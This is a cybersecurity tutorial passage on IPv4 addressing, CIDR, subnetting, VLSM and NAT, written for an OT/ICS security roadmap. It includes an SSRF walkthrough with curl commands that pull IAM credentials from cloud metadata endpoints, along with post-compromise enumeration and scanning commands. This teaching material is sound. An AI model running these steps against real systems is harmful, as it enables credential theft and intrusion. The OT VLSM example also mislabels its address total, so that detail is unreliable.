DEV Community: Rençber AKMAN

Stage 1.4 — IP Addressing and Subnetting

Rençber AKMAN — Tue, 02 Jun 2026 13:43:31 +0000

From Zero to Cybersecurity Professional | Complete Roadmap Series

Series: Cybersecurity × OT/ICS Security — Full Roadmap

Stage: 1 — Network Fundamentals

Module: 1.4 — IP Addressing and Subnetting

Level: Beginner → Advanced

Prerequisites: Stage 1.3 — TCP/IP Model

Next Module: 1.5 — Core Protocols

Why IP Addressing Is a Security Skill, Not Just a Network Skill
IPv4 Structure — Octets, Binary, and Everything Underneath
Address Classes — A, B, C and Why They Still Matter
Public vs Private IP — The Trust Boundary
CIDR Notation — The Modern Standard
Subnet Mask Calculation — From Binary to Practice
Subnetting — Designing and Breaking Networks
VLSM — Variable Length Subnet Masking
NAT — Network Address Translation
PAT — Port Address Translation
DHCP — How IP Addresses Are Assigned
DNS — How Names Become Addresses
DNS Record Types — The Full Map
IP Addressing in OT/ICS Environments
Hands-On Exercises
Module Summary

1. Why IP Addressing Is a Security Skill, Not Just a Network Skill

IP addressing is universally taught as a network engineering topic. Most security courses treat it the same way — cover the basics, move on to "real security." This is a mistake that costs professionals dearly in practice.

Concrete examples of how IP addressing knowledge directly enables or prevents attacks:

Reconnaissance: Every penetration test begins with identifying the target's IP ranges. CIDR notation determines your scan scope. Understanding which ranges are public vs private tells you what is directly exposed vs behind NAT. Misidentifying the scope means missing assets or scanning out-of-scope systems — both are serious professional failures.

DHCP starvation and rogue DHCP: An attacker who understands DHCP's mechanics can exhaust a server's IP pool by repeatedly requesting addresses with spoofed MACs, then deploy a rogue DHCP server that assigns the attacker as the default gateway — a full network MITM without touching a single firewall rule.

DNS as an attack vector: DNS is involved in over 90% of malware C2 communications according to Cisco Talos research. DNS cache poisoning, DNS tunnelling, subdomain takeover, dangling CNAME exploitation — all require deep DNS record knowledge to execute or detect.

NAT traversal: Understanding how NAT works is what allows attackers to design C2 channels that reach through NAT (reverse shells, DNS tunnelling, HTTPS beaconing). It is also what allows defenders to understand why a reverse shell works when a bind shell does not.

VLSM and network segmentation: Designing effective network segmentation — separating user VLANs from server VLANs from OT networks — requires VLSM. Reviewing a network architecture for security flaws requires understanding whether the subnetting design actually achieves the intended isolation.

For OT/ICS: Substation automation systems, SCADA networks, and industrial control networks all use IP addressing. The specific subnets in use, the address allocation strategy, and the DHCP/DNS configuration determine the lateral movement paths available to an attacker who gains initial access.

The security mindset for this module: IP addresses are not just numbers — they are the addressing scheme of the entire attack surface. Every IP, every subnet, every DNS record is a piece of the map.

2. IPv4 Structure — Octets, Binary, and Everything Underneath

2.1 The Physical Reality of an IP Address

An IPv4 address is a 32-bit binary number. Everything else — the dotted-decimal notation, the subnet masks, the network/host distinction — is a human-readable interpretation of those 32 bits.

192      .    168     .     1      .    100
11000000   10101000   00000001   01100100

Each group of 8 bits = 1 octet = 1 byte
Range per octet: 0 (00000000) to 255 (11111111)
Total combinations: 2^32 = 4,294,967,296

2.2 Binary Conversion — The Foundation

Every security professional must be able to convert between binary and decimal without a calculator. This is not academic — you will need to calculate network addresses, broadcast addresses, and subnet masks mentally or on paper during exams, interviews, and real assessments.

Positional values in a single octet:

Bit position:  7    6    5    4    3    2    1    0
Value:        128   64   32   16    8    4    2    1

Example: 192 in binary
  192 = 128 + 64 = 10000000 + 01000000 = 11000000 ✓

  Verify: 128 + 64 = 192 ✓

Example: 168 in binary
  168 = 128 + 32 + 8 = 10101000

  Verify: 128 + 32 + 8 = 168 ✓

Example: 255 in binary
  255 = 128 + 64 + 32 + 16 + 8 + 4 + 2 + 1 = 11111111

  This is the maximum value — all bits set.

Example: 0 in binary
  0 = 00000000
  All bits zero.

Decimal to binary — the systematic method:

Convert 172 to binary:

Step 1: Is 172 ≥ 128? YES → bit 7 = 1, remainder = 172 - 128 = 44
Step 2: Is 44 ≥ 64?  NO  → bit 6 = 0
Step 3: Is 44 ≥ 32?  YES → bit 5 = 1, remainder = 44 - 32 = 12
Step 4: Is 12 ≥ 16?  NO  → bit 4 = 0
Step 5: Is 12 ≥ 8?   YES → bit 3 = 1, remainder = 12 - 8 = 4
Step 6: Is 4 ≥ 4?    YES → bit 2 = 1, remainder = 4 - 4 = 0
Step 7: Is 0 ≥ 2?    NO  → bit 1 = 0
Step 8: Is 0 ≥ 1?    NO  → bit 0 = 0

Result: 10101100 = 172 ✓
Verify: 128 + 32 + 8 + 4 = 172 ✓

Full IP address in binary:

192.168.1.100

192 = 11000000
168 = 10101000
  1 = 00000001
100 = 01100100

Full binary: 11000000.10101000.00000001.01100100
As integer:  3232235876
As hex:      C0.A8.01.64  →  0xC0A80164

# Python — complete IP representation toolkit
import ipaddress, socket, struct

def ip_analysis(ip_str):
    ip = ipaddress.ip_address(ip_str)

    # Binary representation
    octets = ip_str.split('.')
    binary = '.'.join(f'{int(o):08b}' for o in octets)

    # Integer representation
    ip_int = int(ip)

    # Hex representation
    ip_hex = '.'.join(f'{int(o):02X}' for o in octets)

    print(f"IP Address:  {ip_str}")
    print(f"Binary:      {binary}")
    print(f"Integer:     {ip_int}")
    print(f"Hex:         {ip_hex}")
    print(f"Is private:  {ip.is_private}")
    print(f"Is loopback: {ip.is_loopback}")
    print(f"Is multicast:{ip.is_multicast}")

ip_analysis("192.168.1.100")
print()
ip_analysis("10.0.0.1")
print()
ip_analysis("8.8.8.8")

2.3 Why Binary Matters for Security

Subnet calculation: Every subnet calculation is a binary operation. The network address is found by ANDing the IP with the subnet mask. Without understanding binary, you cannot verify these calculations.

Firewall rules: ACLs (Access Control Lists) on routers and firewalls use wildcard masks — the inverse of subnet masks — for matching. 192.168.1.0 0.0.0.255 matches the entire 192.168.1.0/24 range. Understanding binary makes wildcard mask manipulation intuitive.

Packet crafting: When you use hping3, Scapy, or Nmap with custom IP options, you are manipulating binary fields in IP headers. Knowing the binary representation of IP addresses prevents mistakes that render your tool ineffective.

IP spoofing detection: When analysing packet captures, recognising invalid IP address combinations (e.g., a packet claiming to be from 192.168.x.x arriving on a WAN interface) requires knowing which ranges are private and should never appear on public-facing links.

Key Insight: IP addresses are 32-bit integers dressed up in dotted-decimal notation. Every network operation — subnetting, masking, routing decisions — is binary arithmetic. Professionals who cannot work in binary are operating with a conceptual gap that limits their precision in both attack and defence.

3. Address Classes — A, B, C and Why They Still Matter

3.1 The Historical Design

Before CIDR (1993), the internet used a classful addressing scheme where the address itself determined the network/host boundary. The first bits of the address determined the class.

Class A: 0xxxxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  First bit:    0
  Range:        1.0.0.0 – 126.255.255.255
  Default mask: /8  (255.0.0.0)
  Networks:     126 (0 and 127 reserved)
  Hosts/net:    16,777,214  (2^24 - 2)

  127.0.0.0/8 is reserved for loopback (127.0.0.1 = localhost)

Class B: 10xxxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  First bits:   10
  Range:        128.0.0.0 – 191.255.255.255
  Default mask: /16 (255.255.0.0)
  Networks:     16,384
  Hosts/net:    65,534  (2^16 - 2)

Class C: 110xxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  First bits:   110
  Range:        192.0.0.0 – 223.255.255.255
  Default mask: /24 (255.255.255.0)
  Networks:     2,097,152
  Hosts/net:    254  (2^8 - 2)

Class D: 1110xxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  Range:        224.0.0.0 – 239.255.255.255
  Purpose:      Multicast (not assignable to hosts)
  Examples:     224.0.0.5 (OSPF all routers)
                224.0.0.251 (mDNS)
                239.255.255.250 (SSDP/UPnP)

Class E: 1111xxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  Range:        240.0.0.0 – 255.255.255.255
  Purpose:      Reserved/experimental
  255.255.255.255: Limited broadcast

3.2 Why Classes Still Matter Despite CIDR

CIDR replaced classful addressing, but class knowledge remains essential:

Legacy OT systems: PLCs, RTUs, and HMIs from the 1990s-2000s often have hardcoded class-based assumptions in their network stack. Some will only communicate within their class boundary. Some configuration interfaces display class-based defaults. Understanding classes is necessary to diagnose connectivity issues with legacy field devices.

Default subnet masks: When someone says "we use 10.x.x.x for internal addressing," the implied default mask is /8 (Class A). When a device is misconfigured with the wrong default mask, it will be unable to communicate outside its perceived local network. Diagnosing this requires knowing the class defaults.

BGP routing: Internet routing tables still include classful prefixes. Understanding why some routes aggregate nicely (along class boundaries) and why others do not requires class knowledge.

Security tool output: Nmap, Masscan, and other scanners sometimes reference class notation. Vulnerability scanners and SIEM correlation rules may use class-based patterns. Misinterpreting these references causes errors.

# Identify address class from command line:
python3 << 'EOF'
def ip_class(ip):
    first_octet = int(ip.split('.')[0])
    if first_octet == 0:
        return "Reserved (0.x.x.x)"
    elif 1 <= first_octet <= 126:
        return "Class A (default /8)"
    elif first_octet == 127:
        return "Loopback (127.x.x.x)"
    elif 128 <= first_octet <= 191:
        return "Class B (default /16)"
    elif 192 <= first_octet <= 223:
        return "Class C (default /24)"
    elif 224 <= first_octet <= 239:
        return "Class D (Multicast)"
    elif 240 <= first_octet <= 255:
        return "Class E (Reserved/Experimental)"

test_ips = ["10.0.0.1", "127.0.0.1", "172.16.0.1",
            "192.168.1.1", "8.8.8.8", "224.0.0.5", "240.0.0.1"]
for ip in test_ips:
    print(f"{ip:20} → {ip_class(ip)}")
EOF

Key Insight: Classful addressing is deprecated but not gone. Legacy OT devices predate CIDR and may exhibit class-based behaviour. Security professionals who only know CIDR will waste hours diagnosing problems that class knowledge would solve in seconds.

4. Public vs Private IP — The Trust Boundary

4.1 The RFC 1918 Private Ranges

RFC 1918 (1996) defined three address ranges that are never routed on the public internet. These are the "private" address spaces:

10.0.0.0/8
  Range:   10.0.0.0 – 10.255.255.255
  Hosts:   16,777,214
  Class:   A
  Use:     Large enterprises, cloud internal networks, OT networks

172.16.0.0/12
  Range:   172.16.0.0 – 172.31.255.255
  Hosts:   1,048,574
  Class:   B
  Use:     Medium enterprises, Docker default (172.17.0.0/16)

192.168.0.0/16
  Range:   192.168.0.0 – 192.168.255.255
  Hosts:   65,534
  Class:   C
  Use:     Home networks, small offices, most common default

Why these ranges are "safe" for internal use:
ISPs are required (RFC 1918) to filter these ranges at their borders — packets from these addresses should never appear on the internet. If a packet arrives at a WAN interface claiming to come from 192.168.x.x, it is:

A misconfigured device
A spoofed packet from an attacker (IP spoofing)
A filtering failure at an upstream ISP

This is the basis of BCP38 — ISPs should implement ingress filtering to drop packets from their customers whose source IP does not match the customer's allocated range.

4.2 Other Special Ranges Every Security Professional Must Know

Range              Purpose                              Security Relevance
─────────────────────────────────────────────────────────────────────────
0.0.0.0/8          "This network" — DHCP source        Invalid as source except DHCP discover
127.0.0.0/8        Loopback                             Services binding only to 127.0.0.1 are
                                                        not network-accessible (but can be
                                                        reached via SSRF from the same machine)
100.64.0.0/10      Carrier-grade NAT (CGN)              ISP internal addresses — confuses
                                                        traceroutes, may leak in headers
169.254.0.0/16     APIPA / Link-local                   Assigned by OS when DHCP fails.
                                                        ALSO: AWS/Azure/GCP metadata service
                                                        (169.254.169.254) — critical SSRF target
192.0.2.0/24       TEST-NET-1 (RFC 5737)                Never use in production
198.51.100.0/24    TEST-NET-2 (RFC 5737)                Never use in production
203.0.113.0/24     TEST-NET-3 (RFC 5737)                Never use in production
192.88.99.0/24     6to4 relay (deprecated)              May still appear in older networks
224.0.0.0/4        Multicast                            Routing protocols, service discovery
240.0.0.0/4        Reserved                             Should never appear in normal traffic
255.255.255.255/32 Limited broadcast                    DHCP discover destination

4.3 The Cloud Metadata Service — Critical SSRF Target

The link-local address 169.254.169.254 deserves special attention. Every major cloud provider (AWS, Azure, GCP, DigitalOcean, etc.) uses this address for their instance metadata service.

AWS EC2 Metadata Service:
  http://169.254.169.254/latest/meta-data/

  Contains:
    /iam/security-credentials/           ← Temporary IAM credentials
    /iam/security-credentials/<role>/    ← Specific role credentials
    /public-ipv4                         ← Instance's public IP
    /local-ipv4                          ← Instance's private IP
    /hostname                            ← Instance hostname
    /user-data                           ← Startup script (often contains secrets)
    /placement/availability-zone         ← Where this instance is running
    /security-groups                     ← Attached security groups

Azure IMDS (Instance Metadata Service):
  http://169.254.169.254/metadata/instance
  (requires header: Metadata: true)

GCP Metadata Server:
  http://metadata.google.internal/ (resolves to 169.254.169.254)
  http://169.254.169.254/computeMetadata/v1/
  (requires header: Metadata-Flavor: Google)

SSRF to Cloud Metadata — One of the Most Impactful Attack Chains:

If a web application is vulnerable to SSRF (Server-Side Request Forgery), and it runs on a cloud VM, an attacker can:

Send SSRF payload: http://169.254.169.254/latest/meta-data/iam/security-credentials/
Get the IAM role name from the response
Send: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
Receive: AccessKeyId, SecretAccessKey, Token — temporary AWS credentials
Use credentials to access S3 buckets, RDS databases, other AWS services

Real-world impact: The 2019 Capital One breach exposed 100 million customer records. The attacker exploited an SSRF vulnerability in a WAF configuration, reached the metadata service, obtained IAM credentials, and used them to exfiltrate data from S3. The metadata service was the pivot point.

# Test metadata service access from inside a cloud VM:
curl http://169.254.169.254/latest/meta-data/                     # AWS
curl -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"  # Azure
curl -H "Metadata-Flavor:Google" http://169.254.169.254/computeMetadata/v1/  # GCP

# AWS IMDSv2 (more secure — requires token):
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
    -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
    http://169.254.169.254/latest/meta-data/

# Detection: 
# In AWS CloudTrail, metadata service calls don't appear (they're local)
# But the subsequent use of temporary credentials DOES appear in CloudTrail
# Alert on: IAM credential usage from unexpected IPs or at unexpected times

Key Insight: The line between "private" and "public" is not just about RFC 1918. It is about trust. Private addresses imply internal trust. Cloud metadata services at 169.254.169.254 operate entirely on that trust assumption — no authentication, no encryption, just "you're on the network, so here are the credentials." SSRF that reaches this address is nearly always critical severity.

5. CIDR Notation — The Modern Standard

5.1 What CIDR Is and Why It Replaced Classes

CIDR (Classless Inter-Domain Routing, RFC 4632, 1993) solves the fundamental waste problem of classful addressing. Under the classful system, an organisation that needed 500 addresses received a Class B (/16, 65,534 hosts) — wasting 65,034 addresses. This accelerated IPv4 exhaustion.

CIDR allows any prefix length — the network/host boundary can be placed anywhere in the 32-bit address. A /22 gives exactly 1,022 hosts, matching the real requirement.

CIDR Notation: IP_address/prefix_length
Example: 192.168.1.0/24

/24 means: first 24 bits are the NETWORK portion
           last 8 bits are the HOST portion

Binary representation:
  Network bits: 11111111.11111111.11111111.00000000 = 255.255.255.0 (subnet mask)

Network address:    192.168.1.0   (all host bits = 0)
Broadcast address:  192.168.1.255 (all host bits = 1)
Usable host range:  192.168.1.1 – 192.168.1.254
Usable hosts:       2^8 - 2 = 254

5.2 Prefix Length to Subnet Mask Conversion

/prefix → subnet mask (must memorise these):

/8  → 255.0.0.0       (11111111.00000000.00000000.00000000)
/9  → 255.128.0.0
/10 → 255.192.0.0
/11 → 255.224.0.0
/12 → 255.240.0.0
/13 → 255.248.0.0
/14 → 255.252.0.0
/15 → 255.254.0.0
/16 → 255.255.0.0     (11111111.11111111.00000000.00000000)
/17 → 255.255.128.0
/18 → 255.255.192.0
/19 → 255.255.224.0
/20 → 255.255.240.0
/21 → 255.255.248.0
/22 → 255.255.252.0
/23 → 255.255.254.0
/24 → 255.255.255.0   (11111111.11111111.11111111.00000000)
/25 → 255.255.255.128
/26 → 255.255.255.192
/27 → 255.255.255.224
/28 → 255.255.255.240
/29 → 255.255.255.248
/30 → 255.255.255.252
/31 → 255.255.255.254 (point-to-point links — RFC 3021, no broadcast)
/32 → 255.255.255.255 (single host route)

The pattern: Each bit added to the prefix doubles the number of networks and halves the number of hosts.

Quick host calculation from prefix:
  Hosts = 2^(32 - prefix) - 2

/24 → 2^8  - 2 = 254
/25 → 2^7  - 2 = 126
/26 → 2^6  - 2 = 62
/27 → 2^5  - 2 = 30
/28 → 2^4  - 2 = 14
/29 → 2^3  - 2 = 6
/30 → 2^2  - 2 = 2     ← Point-to-point links between routers
/31 → 2^1  - 2 = 0     ← RFC 3021: used for P2P with no broadcast
/32 → 2^0  - 2 = -1    ← Single host route (host bits all 0 or 1, no subtraction)

5.3 CIDR in Security Operations

# Nmap with CIDR — scan entire subnets:
sudo nmap -sn 10.0.0.0/8          # Scan all 16M addresses in Class A (slow)
sudo nmap -sn 192.168.1.0/24      # Scan /24 (fast, common for LAN recon)
sudo nmap -sS 10.10.10.0/24       # SYN scan of /24

# Masscan — faster for large CIDR ranges:
sudo masscan 10.0.0.0/8 -p80,443,22,3389 --rate=10000
# --rate = packets per second (be careful on production networks)

# Python CIDR operations:
python3 << 'EOF'
import ipaddress

# Check if IP is within a CIDR range:
network = ipaddress.ip_network("10.10.0.0/16")
test_ip = ipaddress.ip_address("10.10.5.100")
print(f"{test_ip} in {network}: {test_ip in network}")

# Generate all IPs in a range (useful for scripting):
for ip in list(ipaddress.ip_network("192.168.1.0/29").hosts()):
    print(ip)

# Summarise multiple subnets:
nets = [
    ipaddress.ip_network("192.168.1.0/26"),
    ipaddress.ip_network("192.168.1.64/26"),
    ipaddress.ip_network("192.168.1.128/26"),
    ipaddress.ip_network("192.168.1.192/26"),
]
collapsed = list(ipaddress.collapse_addresses(nets))
print(f"\nCollapsed: {collapsed}")  # Should show 192.168.1.0/24

# Check if two networks overlap (critical for firewall rule analysis):
net1 = ipaddress.ip_network("10.0.0.0/8")
net2 = ipaddress.ip_network("10.10.0.0/16")
print(f"\nNetworks overlap: {net1.overlaps(net2)}")  # True
EOF

# iptables/nftables use CIDR notation:
sudo iptables -A INPUT -s 192.168.1.0/24 -j ACCEPT   # Allow entire /24
sudo iptables -A INPUT -s 10.0.0.0/8 -j DROP         # Block entire Class A

# Wireshark CIDR filter:
# ip.addr == 192.168.1.0/24    → All traffic involving this subnet
# ip.src == 10.0.0.0/8         → Traffic sourced from 10.x.x.x

6. Subnet Mask Calculation — From Binary to Practice

6.1 What the Subnet Mask Does

The subnet mask tells a device which part of an IP address is the network portion and which part is the host portion. This is how a device knows whether a destination is on the same local network (no routing needed) or on a different network (send to default gateway).

Operation: Bitwise AND between IP address and subnet mask

IP address:    192.168.1.100 = 11000000.10101000.00000001.01100100
Subnet mask:   255.255.255.0 = 11111111.11111111.11111111.00000000
                               ────────────────────────────────────
AND result:    192.168.1.0   = 11000000.10101000.00000001.00000000
                               ← Network address

The network address is the IP with all host bits set to 0.

How a device uses this:

Device: 192.168.1.100/24
Wants to send to: 192.168.1.50

Step 1: Calculate own network address
  192.168.1.100 AND 255.255.255.0 = 192.168.1.0

Step 2: Calculate destination network address
  192.168.1.50 AND 255.255.255.0 = 192.168.1.0

Step 3: Are they the same? YES
  → Destination is local, send directly (use ARP to find MAC)

───────────────────────────────────────────────────────

Device: 192.168.1.100/24
Wants to send to: 10.0.0.1

Step 1: Own network: 192.168.1.0
Step 2: Destination network: 10.0.0.0 (AND with 255.255.255.0)
Step 3: Are they the same? NO
  → Destination is remote, send to default gateway

6.2 Finding Network and Broadcast Addresses

Given: 192.168.10.130/25

Step 1: Convert prefix to mask
  /25 → 255.255.255.128 = 11111111.11111111.11111111.10000000

Step 2: Find network address (AND)
  IP:   11000000.10101000.00001010.10000010
  Mask: 11111111.11111111.11111111.10000000
  AND:  11000000.10101000.00001010.10000000 = 192.168.10.128

Step 3: Find broadcast address (OR with inverted mask)
  Inverted mask (wildcard): 00000000.00000000.00000000.01111111
  Network:  11000000.10101000.00001010.10000000
  Wildcard: 00000000.00000000.00000000.01111111
  OR:       11000000.10101000.00001010.11111111 = 192.168.10.255

Results:
  Network address:   192.168.10.128
  Broadcast address: 192.168.10.255
  First host:        192.168.10.129
  Last host:         192.168.10.254
  Usable hosts:      2^7 - 2 = 126

# Subnet calculation tools:
ipcalc 192.168.10.130/25       # Comprehensive subnet info
ipcalc -n 192.168.10.130/25    # Network address only
ipcalc -b 192.168.10.130/25    # Broadcast only

# Python:
python3 -c "
import ipaddress
net = ipaddress.ip_interface('192.168.10.130/25').network
print(f'Network:   {net.network_address}')
print(f'Broadcast: {net.broadcast_address}')
print(f'Mask:      {net.netmask}')
print(f'Wildcard:  {net.hostmask}')
print(f'First:     {list(net.hosts())[0]}')
print(f'Last:      {list(net.hosts())[-1]}')
print(f'Hosts:     {net.num_addresses - 2}')
"

# Determine subnet from any IP:
ip route get 192.168.1.50      # Linux — shows route to this IP
ip addr show                    # Shows all interfaces with CIDR notation

7. Subnetting — Designing and Breaking Networks

7.1 Why Subnetting Is a Security Design Tool

Subnetting is not just about efficient address use — it is the primary mechanism for network segmentation. Separate subnets, enforced by routers and firewalls, are the foundation of defence-in-depth at the network layer.

A flat network (everyone in one subnet) means:

Broadcast traffic hits every device
ARP poisoning reaches every device
A compromised workstation can reach every server directly
No choke points for traffic inspection

A segmented network means:

Traffic between subnets must cross a router or firewall
Security policies can be enforced at subnet boundaries
Compromise of one subnet does not grant immediate access to others
Lateral movement requires exploiting the routing/firewall boundary

7.2 Subnetting a Network — The Complete Method

Problem: You have 192.168.1.0/24 and need to create 4 subnets of (approximately) equal size.

Step 1: Determine how many subnet bits are needed
  4 subnets → need 2 bits (2^2 = 4)
  Borrow 2 bits from the host portion

Step 2: New prefix length
  Original: /24
  New:      /24 + 2 = /26

Step 3: New subnet mask
  /26 = 11111111.11111111.11111111.11000000 = 255.255.255.192

Step 4: Block size
  8 host bits - 2 subnet bits = 6 host bits
  Hosts per subnet: 2^6 - 2 = 62
  Block size: 2^6 = 64

Step 5: List all subnets
  Subnet 1: 192.168.1.0/26     → hosts: 192.168.1.1   – 192.168.1.62
  Subnet 2: 192.168.1.64/26    → hosts: 192.168.1.65  – 192.168.1.126
  Subnet 3: 192.168.1.128/26   → hosts: 192.168.1.129 – 192.168.1.190
  Subnet 4: 192.168.1.192/26   → hosts: 192.168.1.193 – 192.168.1.254

Broadcasts: .63, .127, .191, .255

Security application of subnetting:

Typical enterprise segmented network design:

Segment             Subnet           Purpose                Security Posture
────────────────────────────────────────────────────────────────────────────
Users               10.10.1.0/24    Workstations           Least trusted
Servers             10.10.2.0/24    Internal servers       More trusted
Management          10.10.3.0/27    Network devices        Highly restricted
DMZ                 10.10.4.0/28    Internet-facing        Partially trusted
Guest               10.10.5.0/24    Visitor WiFi           Untrusted
OT/Control          10.20.0.0/24    Industrial devices     Isolated
OT/SCADA Server     10.20.1.0/28    HMI/Historian          Isolated
Surveillance        10.30.0.0/24    CCTV cameras           Isolated

Between each segment: firewall with explicit allow rules.
Default policy: DENY ALL.

7.3 Subnetting in Attack Context

Identifying the subnet from inside:

# After initial access, enumerate network configuration:
ip addr show                          # Own IP + subnet
ip route show                         # Routing table (reveals other subnets)
cat /etc/hosts                        # Static hostname mappings
cat /etc/resolv.conf                  # DNS server IPs (often on internal network)
arp -a                                # Recently communicated hosts

# Infer network topology from routing table:
ip route show
# Example output:
# default via 10.10.1.1 dev eth0       ← Default gateway
# 10.10.1.0/24 dev eth0               ← Local subnet
# 10.10.2.0/24 via 10.10.1.1 dev eth0 ← Route to server subnet (gateway is router)

# The presence of routes to 10.10.2.0/24 reveals the server subnet exists
# Even if firewall blocks direct access, knowing the subnet guides further attacks

Subnet scanning after initial access:

# Fast host discovery within a discovered subnet:
# Method 1: Ping sweep (often blocked by firewalls)
for i in $(seq 1 254); do ping -c 1 -W 1 10.10.2.$i &>/dev/null && echo "10.10.2.$i alive"; done

# Method 2: ARP scan (only works on same subnet)
sudo arp-scan 10.10.1.0/24

# Method 3: TCP SYN to common ports (works across subnets)
sudo nmap -sS -p 22,80,443,445,3389 --open 10.10.2.0/24 2>/dev/null

# Method 4: Using nc for quick port checks
nc -zv -w 1 10.10.2.100 22 80 443 2>&1 | grep succeeded

# Method 5: Python ping sweep
python3 << 'EOF'
import subprocess, ipaddress, concurrent.futures

def ping(ip):
    result = subprocess.run(['ping', '-c', '1', '-W', '1', str(ip)],
                           capture_output=True)
    if result.returncode == 0:
        return str(ip)
    return None

network = ipaddress.ip_network("10.10.2.0/24")
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
    futures = {executor.submit(ping, host): host for host in network.hosts()}
    for future in concurrent.futures.as_completed(futures):
        result = future.result()
        if result:
            print(f"ALIVE: {result}")
EOF

Key Insight: Subnetting is both a network design tool and a map-reading skill for attackers. From the attacker's perspective, routing tables and network configurations gathered during post-exploitation reveal the entire subnet architecture — which subnets exist, how they are connected, and what paths exist between them. Defenders must assume that an attacker who gains any foothold will enumerate the full subnet topology.

8. VLSM — Variable Length Subnet Masking

8.1 What VLSM Solves

Fixed-length subnetting wastes addresses. VLSM allows different subnets within the same network to have different prefix lengths — each subnet is sized exactly for its requirement.

Problem with fixed subnetting:

You need:
  - 1 subnet for 100 users    → need /25 (126 hosts)
  - 1 subnet for 20 servers   → need /27 (30 hosts)
  - 1 subnet for 10 printers  → need /28 (14 hosts)
  - 4 point-to-point links    → need /30 (2 hosts each)

Fixed /25 approach (wasteful):
  All subnets are /25 = 126 hosts each
  Servers subnet: 126 - 20 = 106 wasted addresses
  Printers subnet: 126 - 10 = 116 wasted addresses
  P2P links: 126 - 2 = 124 wasted addresses each

VLSM approach (efficient):
  User subnet:    /25 = 126 hosts ← sized correctly
  Server subnet:  /27 = 30 hosts  ← sized correctly
  Printer subnet: /28 = 14 hosts  ← sized correctly
  P2P links:      /30 = 2 hosts   ← sized correctly

8.2 VLSM Design Process

Always start with the largest subnet and work down.

Available block: 192.168.1.0/24 (254 hosts)
Requirements:
  1. Subnet A: 100 hosts
  2. Subnet B: 50 hosts
  3. Subnet C: 20 hosts
  4. Subnet D: 10 hosts
  5. Subnet E: 2 hosts (point-to-point link)

Step 1: Subnet A (100 hosts)
  Need: 2^n - 2 ≥ 100 → n=7 (2^7-2=126) → /25
  Assign: 192.168.1.0/25
  Range: 192.168.1.0 – 192.168.1.127
  Next available: 192.168.1.128

Step 2: Subnet B (50 hosts)
  Need: 2^n - 2 ≥ 50 → n=6 (2^6-2=62) → /26
  Assign: 192.168.1.128/26
  Range: 192.168.1.128 – 192.168.1.191
  Next available: 192.168.1.192

Step 3: Subnet C (20 hosts)
  Need: 2^n - 2 ≥ 20 → n=5 (2^5-2=30) → /27
  Assign: 192.168.1.192/27
  Range: 192.168.1.192 – 192.168.1.223
  Next available: 192.168.1.224

Step 4: Subnet D (10 hosts)
  Need: 2^n - 2 ≥ 10 → n=4 (2^4-2=14) → /28
  Assign: 192.168.1.224/28
  Range: 192.168.1.224 – 192.168.1.239
  Next available: 192.168.1.240

Step 5: Subnet E (2 hosts, P2P link)
  Need: 2^n - 2 ≥ 2 → n=2 (2^2-2=2) → /30
  Assign: 192.168.1.240/30
  Range: 192.168.1.240 – 192.168.1.243
  Remaining: 192.168.1.244 – 192.168.1.255 (available for future use)

8.3 VLSM and Security Architecture

VLSM is what makes proper OT network segmentation practical. Different zones have vastly different host count requirements:

OT Network VLSM Design Example:

  Corporate IT-OT DMZ:      10.20.0.0/28   (14 hosts — jump servers, historians)
  SCADA Server Zone:        10.20.0.16/29  (6 hosts — HMI servers, SCADA servers)
  Control Network:          10.20.0.24/29  (6 hosts — PLCs, RTUs)
  Field Device Network:     10.20.0.32/27  (30 hosts — sensors, actuators)
  Engineering Workstations: 10.20.0.64/28  (14 hosts — EWS)
  IT-OT Firewall Link:      10.20.0.80/30  (2 hosts — P2P firewall interfaces)
  OT-SCADA Firewall Link:   10.20.0.84/30  (2 hosts — P2P firewall interfaces)

  Total used: 192.168.0.0/24
  Each zone isolated with firewall — traffic only flows through permitted paths

# Verify VLSM design is correct (no overlaps):
python3 << 'EOF'
import ipaddress

subnets = [
    "10.20.0.0/28",
    "10.20.0.16/29",
    "10.20.0.24/29",
    "10.20.0.32/27",
    "10.20.0.64/28",
    "10.20.0.80/30",
    "10.20.0.84/30",
]

networks = [ipaddress.ip_network(s) for s in subnets]

# Check for overlaps:
overlaps = []
for i, n1 in enumerate(networks):
    for j, n2 in enumerate(networks):
        if i < j and n1.overlaps(n2):
            overlaps.append((subnets[i], subnets[j]))

if overlaps:
    print("OVERLAP DETECTED:")
    for o in overlaps:
        print(f"  {o[0]} overlaps with {o[1]}")
else:
    print("No overlaps — VLSM design is valid")

# Show total address space used:
total = sum(n.num_addresses for n in networks)
print(f"Total addresses allocated: {total}")
EOF

9. NAT — Network Address Translation

9.1 How NAT Works Internally

NAT maintains a translation table that maps {private IP, private port} to {public IP, public port} pairs.

NAT Translation Table:
┌────────────────────────┬────────────────────────┬──────────────────┐
│ Inside Local           │ Inside Global          │ Protocol         │
│ (Private IP:Port)      │ (Public IP:Port)       │                  │
├────────────────────────┼────────────────────────┼──────────────────┤
│ 192.168.1.10:54321     │ 203.0.113.1:12001      │ TCP              │
│ 192.168.1.10:54322     │ 203.0.113.1:12002      │ TCP              │
│ 192.168.1.20:45678     │ 203.0.113.1:12003      │ TCP              │
│ 192.168.1.30:53        │ 203.0.113.1:12004      │ UDP              │
└────────────────────────┴────────────────────────┴──────────────────┘

Outbound packet:
  Source: 192.168.1.10:54321  Destination: 8.8.8.8:53
  NAT rewrites source: 203.0.113.1:12001  Destination: 8.8.8.8:53
  Adds entry to table

Inbound packet:
  Source: 8.8.8.8:53  Destination: 203.0.113.1:12001
  NAT looks up 203.0.113.1:12001 → 192.168.1.10:54321
  Rewrites destination: 8.8.8.8:53 → 192.168.1.10:54321
  Forwards to internal host

9.2 NAT Types

Static NAT (one-to-one):
One private IP permanently maps to one public IP.
Used for: servers that must be reachable from the internet on their own public IP.
Security: same attack surface as a directly connected server — no protection.

Dynamic NAT:
Pool of public IPs, allocated on demand from private IPs.
Used when: organisation has multiple public IPs but more private hosts.
Less common in modern deployments.

PAT / NAT Overload (most common):
